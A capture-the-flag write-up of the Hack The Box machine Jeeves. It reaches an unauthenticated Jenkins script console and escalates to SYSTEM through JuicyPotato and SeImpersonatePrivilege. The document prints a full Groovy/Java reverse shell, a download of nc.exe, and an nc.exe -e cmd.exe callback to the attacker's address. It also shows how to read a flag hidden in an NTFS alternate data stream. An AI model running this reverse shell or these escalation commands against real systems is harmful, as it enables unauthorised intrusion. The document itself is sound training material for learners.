Jeeves
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Jeeves is a medium Windows box whose way in has no defence worth the name: a Jenkins hidden on port 50000 under a path that is not its own,/askjeeves, and with no authentication. Jenkins ships a console that runs Groovy on the server as part of its normal operation, so a reverse shell goes right in there (RCE through Jenkins' Groovy console). The escalation is the usual one for a Windows service: the token carriesSeImpersonatePrivilege, and this box is old enough forJuicyPotatoto still work (abusing SeImpersonatePrivilege). And the ending has a twist:root.txtdoes not exist as a file (NTFS alternate data streams). It lives inside another one, in an NTFS alternate data stream, and onlydir /Rshows it.
About the evidence. One single capture is published, Jenkins' script console with the Groovy already typed in: it is an interface (section 12.7 of the standard) and it is also the proof that it is reached without authenticating, because the sidebar shows Manage Jenkins and Credentials with no session started. Everything else is a terminal and goes as text. Three gaps the note does not preserve, stated instead of filled in: how one gets fromC:\Users\Administrator\.jenkinstokohsuke's desktop, the transfer ofjp.exeto the victim (onlync.exe's is published) and the second run ofjp.exe, which must have happened because there are two incoming connections from different source ports. Both flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.
ping -c 1 10.129.88.3664 bytes from 10.129.88.36: icmp_seq=1 ttl=127 time=31.9 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.88.36 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-09 22:03 +0000 Initiating SYN Stealth Scan at 22:03 Scanning 10.129.88.36 [65535 ports] Discovered open port 80/tcp on 10.129.88.36 Discovered open port 445/tcp on 10.129.88.36 Discovered open port 135/tcp on 10.129.88.36 Discovered open port 50000/tcp on 10.129.88.36 Completed SYN Stealth Scan at 22:03, 26.40s elapsed (65535 total ports) Nmap scan report for 10.129.88.36 Host is up, received user-set (0.039s latency). Scanned at 2026-11-09 22:03:12 UTC for 27s Not shown: 65531 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 50000/tcp open ibm-db2 syn-ack ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds Raw packets sent: 131085 (5.768MB) | Rcvd: 23 (1.012KB)
The 50000/tcp ibm-db2 is a perfect example of why a full sweep is not enough: nmap labels the port by its number, looking it up in its table of well-known services, not by what it answers. You have to ask it.
nmap -p80,135,445,50000 -sCV 10.129.88.36 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-09 22:10 +0000 Nmap scan report for 10.129.88.36 Host is up (0.056s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Ask Jeeves |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 4h59m48s, deviation: 0s, median: 4h59m48s | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb2-time: | date: 2026-11-10T03:10:22 |_ start_date: 2026-11-10T02:54:51 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.89 seconds
It is not DB2: it is Jetty 9.4, the embedded server Jenkins uses. And its root returns a 404 Not Found, which does not mean there is nothing, it means what is there is not at the root.
HTTP - TCP 80#
whatweb http://10.129.88.36/http://10.129.88.36/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.88.36], Microsoft-IIS[10.0], Title[Ask Jeeves]
curl http://10.129.88.36/<!DOCTYPE html> <html> <head> <title>Ask Jeeves</title> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <form class="form-wrapper cf" action="error.html"> <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div> <input type="text" placeholder="Search here..." required> <button type="submit">Search</button> <div class="byline-bot">Skins</div> </form> </body> </html>
A parody of the Ask Jeeves search engine whose form points at error.html: the search box searches nothing and there is no parameter to touch. It is scenery. The name, though, gets reused.
Jenkins - TCP 50000#
gobuster dir -u http://10.129.88.36:50000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 100=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.88.36:50000/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== askjeeves (Status: 302) [Size: 0] [--> http://10.129.88.36:50000/askjeeves/] Progress: 81642 / 81642 (100.00%) =============================================================== Finished ===============================================================
/askjeeves, the name of the port 80 website reused as another application's base path (web content discovery). Changing Jenkins' path is not a security measure, it is a one-minute obstacle, and the wordlist found it because the word was in plain sight on the other port.
dirsearch -u http://10.129.88.36:50000/askjeeves/ --exclude-status=403,404 -t 200 2>/dev/null... [22:59:17] 200 - 237B - /askjeeves/config.xml [22:59:18] 303 - 0B - /askjeeves/console/j_security_check -> http://10.129.88.36:50000/askjeeves/loginError [22:59:19] 200 - 5KB - /askjeeves/cli/ [22:59:21] 200 - 3KB - /askjeeves/credentials/ [22:59:28] 303 - 0B - /askjeeves/j_security_check -> http://10.129.88.36:50000/askjeeves/loginError [22:59:31] 200 - 3KB - /askjeeves/login [22:59:34] 200 - 4KB - /askjeeves/manage [22:59:42] 302 - 0B - /askjeeves/search -> http://10.129.88.36:50000/askjeeves/search/ [22:59:43] 401 - 0B - /askjeeves/secured [22:59:44] 200 - 3KB - /askjeeves/restart [22:59:44] 200 - 3KB - /askjeeves/script/ [22:59:50] 302 - 0B - /askjeeves/user/admin -> http://10.129.88.36:50000/askjeeves/user/admin/ [22:59:51] 302 - 0B - /askjeeves/version -> http://10.129.88.36:50000/askjeeves/version/ ...
The routes are Jenkins' one by one: credentials, manage, restart, nodes, people and, the one that decides the box, /script. And they all return 200, not 401: the only one asking for authentication is /secured. Jenkins is wide open.
Access: the Jenkins script console#
Jenkins' script console is not a flaw: it is documented, it exists for troubleshooting, and it runs Groovy (which is Java) with the process's permissions. Whoever reaches it without authenticating has code execution on the server (RCE through Jenkins' Groovy console).
String host="10.10.15.120";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();The script uses no exotic library: it launches cmd.exe with ProcessBuilder, opens a Socket back to us and copies bytes from one side to the other in a loop. It is the classic Java reverse shell, and it works on any Jenkins because it only uses the JDK.

The capture shows the whole sidebar: Manage Jenkins and Credentials available with no login. That is not just code execution: it is full administration of the Jenkins.
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from JEEVES~10.129.88.36-Microsoft_Windows_10_Pro-x64-based_PC 😍 Assigned SessionID <1> [+] Added readline support... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /home/krmena/.penelope/sessions/JEEVES~10.129.88.36-Microsoft_Windows_10_Pro-x64-based_PC/2026_11_10-00_19_52-889.log 📜 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
whoamiwhoami jeeves\kohsuke
kohsuke is not just any name: Kohsuke Kawaguchi is the creator of Jenkins, and it is the user this box chose to run the service under.
cd ..cd .. Access is denied.
The shell lands in C:\Users\Administrator\.jenkins, which is where Jenkins keeps its data, and going up one directory is denied: kohsuke can read inside Jenkins' folder but not the administrator profile that contains it. How one gets from there to kohsuke's desktop is not in the note; the result is.
type user.txttype user.txt e3232272596fb47950d59c4cf1e7066a
The first flag: e3232272596fb47950d59c4cf1e7066a.
Privilege escalation#
SeImpersonatePrivilege#
whoami /privwhoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
SeImpersonatePrivilege: Enabled, which is what turns any service account into SYSTEM (abusing SeImpersonatePrivilege). The Potato family tricks a privileged service into authenticating against a COM object we control, and in doing so it hands over a token that can be impersonated.
Which one works is decided by the Windows version, and the shell's banner will say 10.0.10586, a Windows 10 build from 2015. There JuicyPotato still works; on Server 2019 and later it stopped, and had to be replaced by GodPotato (which is what happens on Flight).
cp /machines/htb/arctic/exploits/jp.exe .
cp /cpts/172.16.139.35_srv01/tools/nc.exe .python3 -m http.server 8080Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 10.129.88.36 - - [10/Nov/2026 00:34:15] "GET /nc.exe HTTP/1.1" 200 -
The server log records one single download, nc.exe's. jp.exe's shows up neither here nor on the victim, so the command that brought it over is not preserved; the binary is in C:\Windows\Temp by the time it runs.
powershell.exe -c "iwr -Uri http://10.10.15.120:8080/nc.exe -OutFile nc.exe"powershell.exe -c "iwr -Uri http://10.10.15.120:8080/nc.exe -OutFile nc.exe"
.\jp.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc.exe 10.10.15.120 4443 -e cmd.exe".\jp.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc.exe 10.10.15.120 4443 -e cmd.exe" Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Every parameter earns its place: -t * tries both ways of creating the process, -p is the program to be launched with the stolen token, -l 1337 is the port jp.exe listens on as a fake COM server, and -a are the arguments, here an nc.exe connecting back. The {4991d34b-...} is the CLSID of the COM object being tricked, and the line that matters is the next one: that object authenticated as NT AUTHORITY\SYSTEM.
rlwrap nc -nlvp 4443listening on [any] 4443 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.88.36] 49807 Microsoft Windows [Version 10.0.10586] (c) 2015 Microsoft Corporation. All rights reserved. C:\Windows\system32>
whoamiwhoami nt authority\system
The flag in an alternate data stream#
The note preserves a second listener session, with a different source port (49814 against the 49807 above), and it is from there that the flag gets hunted down. The second run of jp.exe that must have happened in between is not published.
rlwrap nc -nlvp 4443listening on [any] 4443 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.88.36] 49814 Microsoft Windows [Version 10.0.10586] (c) 2015 Microsoft Corporation. All rights reserved. C:\Windows\system32>
cd C:\Users\Administrator\Desktopcd C:\Users\Administrator\Desktop
dirdir Volume in drive C has no label. Volume Serial Number is 71A1-6FA1 Directory of C:\Users\Administrator\Desktop 11/08/2017 09:05 AM <DIR> . 11/08/2017 09:05 AM <DIR> .. 12/24/2017 02:51 AM 36 hm.txt 11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk 2 File(s) 833 bytes 2 Dir(s) 2,655,817,728 bytes free
There is no root.txt. There is an hm.txt of 36 bytes, exactly the size of a short message, and a shortcut. On NTFS a file can carry more than one data stream: the normal content is the unnamed stream, and others with names of their own can be attached to it, which do not show in an ordinary listing and do not count towards the size. dir /R is what reveals them.
dir /Rdir /R Volume in drive C has no label. Volume Serial Number is 71A1-6FA1 Directory of C:\Users\Administrator\Desktop 11/08/2017 09:05 AM <DIR> . 11/08/2017 09:05 AM <DIR> .. 12/24/2017 02:51 AM 36 hm.txt 34 hm.txt:root.txt:$DATA 11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk 2 File(s) 833 bytes 2 Dir(s) 2,655,817,728 bytes free
There it is: hm.txt:root.txt:$DATA, 34 bytes hanging off a 36-byte file. cmd's type cannot read a named stream, but PowerShell can, with the -Stream parameter.
powershell -c Get-Content -Path "hm.txt" -Stream "root.txt"powershell -c Get-Content -Path "hm.txt" -Stream "root.txt" afbc5bd4b615a60648cec41c6ac92530
Second flag: afbc5bd4b615a60648cec41c6ac92530.
Attack chain#
ping ttl=127 → Windows / nmap -p-: 80, 135, 445 and a 50000 nmap calls "ibm-db2"
│ -sCV: not DB2, it is Jetty 9.4 (Jenkins' embedded server) and its root gives a 404
▼
gobuster over 50000 ─► /askjeeves, the port 80 site's name reused as a path
│ dirsearch: credentials, manage, restart, script... ALL return 200, no login
▼
/askjeeves/script ─► Jenkins' Groovy console, unauthenticated
│ Java reverse shell (ProcessBuilder + Socket) ─► jeeves\kohsuke ─► user.txt
▼
whoami /priv: SeImpersonatePrivilege Enabled
│ build 10.0.10586 (Windows 10 from 2015) ─► JuicyPotato still works
▼
jp.exe -t * -p cmd.exe -l 1337 -a "/c nc.exe <kali> 4443 -e cmd.exe" [escalation]
│ {4991d34b-...};NT AUTHORITY\SYSTEM ─► CreateProcessWithTokenW OK
▼
The administrator's desktop has NO root.txt, it has a 36-byte hm.txt
│ dir /R ─► hm.txt:root.txt:$DATA (34 bytes in an NTFS alternate stream)
▼
powershell -c Get-Content -Path "hm.txt" -Stream "root.txt" ─► root.txtLessons learned#
- The service name
nmapprints is a guess, not a measurement. Port 50000 came out asibm-db2because that is what the well-known ports table says; what was there was Jetty, and behind it, Jenkins. The-sCVcosts one command and keeps you from discarding the port that opens the box. - A 404 at the root does not mean there is nothing. It means what is there hangs off another path, and that is where the wordlist comes in. The word needed,
askjeeves, was in plain sight on the other port. - Changing an application's path does not protect it. Moving Jenkins from
/jenkinsto/askjeevesonly delays whoever is fuzzing by a minute. What was actually missing was authentication: every administration route returned 200. - Jenkins' script console is code execution by design. There is no CVE to patch: it exists for troubleshooting and runs Groovy with the process's permissions. The defence is that nobody reaches it unauthenticated and that the authenticated user is not an administrator by default.
- Which Potato works is decided by the Windows version.
JuicyPotatofits here because the build is from 2015; on Server 2019 it does not, and you have to go toGodPotatoorPrintSpoofer.whoami /privsays you can escalate, butsysteminfosays with what. - A flag may not be a file. NTFS lets named data streams hang off any file: they do not show in a
dir, they do not add to the size, and they have to be asked for explicitly withdir /Rand read withGet-Content -Stream. It is also a real hiding technique, not just a lab trick.